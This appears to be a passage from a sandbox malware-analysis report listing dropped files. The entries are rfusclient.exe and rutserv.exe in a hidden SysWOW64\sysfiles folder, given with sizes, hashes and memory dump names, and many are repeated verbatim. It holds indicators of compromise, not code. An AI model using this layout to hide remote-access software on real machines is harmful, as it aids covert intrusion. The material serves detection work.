cef753b98d114554b8d9b44d7a0062904f7da3165e79aa346c445e3a0f7805f2

SHA512
8c135e80c2e70a5abb2975ca1c9ba77c9093ba0f8cab1e19d80ac0ab6b8049009ba7739f3a30f69bb4d5374f80fe3cf7e8735c2249927721595f380e5307d96e

Download Submit
\Windows\SysWOW64\sysfiles\rfusclient.exe

Filesize
3.9MB

MD5
fd73724d0268dafcefb8b4061e4045b0

SHA1
8205f76d796577817d5f9c1ef735a229c69a215f

SHA256
cef753b98d114554b8d9b44d7a0062904f7da3165e79aa346c445e3a0f7805f2

SHA512
8c135e80c2e70a5abb2975ca1c9ba77c9093ba0f8cab1e19d80ac0ab6b8049009ba7739f3a30f69bb4d5374f80fe3cf7e8735c2249927721595f380e5307d96e

Download Submit
\Windows\SysWOW64\sysfiles\rfusclient.exe

Filesize
3.9MB

MD5
fd73724d0268dafcefb8b4061e4045b0

SHA1
8205f76d796577817d5f9c1ef735a229c69a215f

SHA256
cef753b98d114554b8d9b44d7a0062904f7da3165e79aa346c445e3a0f7805f2

SHA512
8c135e80c2e70a5abb2975ca1c9ba77c9093ba0f8cab1e19d80ac0ab6b8049009ba7739f3a30f69bb4d5374f80fe3cf7e8735c2249927721595f380e5307d96e

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
\Windows\SysWOW64\sysfiles\rutserv.exe

Filesize
4.7MB

MD5
5cd22562ef246c66c255676937d33f0d

SHA1
1d44452f59a8cf755e7931c55f2f84d147400b8e

SHA256
a063ec7ae0beda06cec13706320f5a9d537e4f19755ce2761cbc2b25070e2246

SHA512
0da8af59ae88169947114a0fdca61106863faf7244072f011c68270f197945fb384a319ccb7bf99d460458500d8e6f88306006bb6d76d19a13ab67adec1b21cf

Download Submit
memory/1320-54-0x0000000075941000-0x0000000075943000-memory.dmp

Filesize
8KB

Download
memory/1528-112-0x000007FEFBAA1000-0x000007FEFBAA3000-memory.dmp

Filesize
8KB

Download